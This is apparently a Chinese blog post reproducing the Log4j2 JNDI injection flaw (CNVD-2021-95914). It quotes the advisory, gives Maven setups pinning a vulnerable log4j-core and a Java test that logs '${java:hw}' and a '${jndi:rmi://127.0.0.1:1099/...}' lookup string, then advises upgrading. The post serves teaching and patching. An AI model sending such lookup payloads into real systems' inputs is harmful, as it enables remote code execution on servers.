Log4j2高危漏洞CNVD-2021-95914复现及分析

漏洞描述

安全公告编号:CNTA-2021-0033

安全公告编号:CNTA-2021-0032

2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。CNVD建议受影响用户立即更新至最新版本,同时采取防范性措施避免漏洞攻击威胁。

一、漏洞情况分析

Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围

漏洞影响的产品版本包括:

Apache Log4j2 2.0 - 2.15.0-rc1

附:参考链接:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

关于Apache Log4j2存在远程代码执行漏洞的安全公告

复现代码

log4j-core.jar引入

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.lizz</groupId>
    <artifactId>parent-tester</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <skipTests>true</skipTests>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.3</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

或引入spring-boot-starter-log4j2,依赖的也是log4j-core.jar

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.lizz</groupId>
    <artifactId>parent-tester</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <skipTests>true</skipTests>
    </properties>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.4.RELEASE</version>
        <relativePath/>
    </parent>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

测试用例

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @description: LogBugTest
 * @author: lizz
 * @date: 2021/12/14 14:51
 */
public class LogBugTest {
    private static final Logger logger = LogManager.getLogger(LogBugTest.class);

    public static void main(String[] args) {
        String msg="${java:hw}";
        logger.info("log {}",msg);
        logger.error("${jndi:rmi://127.0.0.1:1099/xxxx}");

    }
}

输出结果:

15:43:21.900 [main] INFO  com.lizz.LogBugTest - log processors: 4, architecture: x86_64-64
2021-12-14 15:43:21,933 main WARN Error looking up JNDI resource [rmi://127.0.0.1:1099/xxxx]. 
  • ${java:hw}输出了服务器cpu信息
  • jndi:rmi可以远程加载外部类,使用可以执行外部想要你执行的命令,漏斗所在。
  • 标识可以执行特殊命令

修复建议

  • 如果使用spring-boot默认logger,可以发现依赖的是logback,不存在log4j2-core的漏洞,不需要修改。

  • 查看依赖树,使用了log4j2-core包,可以将log4j2-core升级为>=2.16.0即可。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>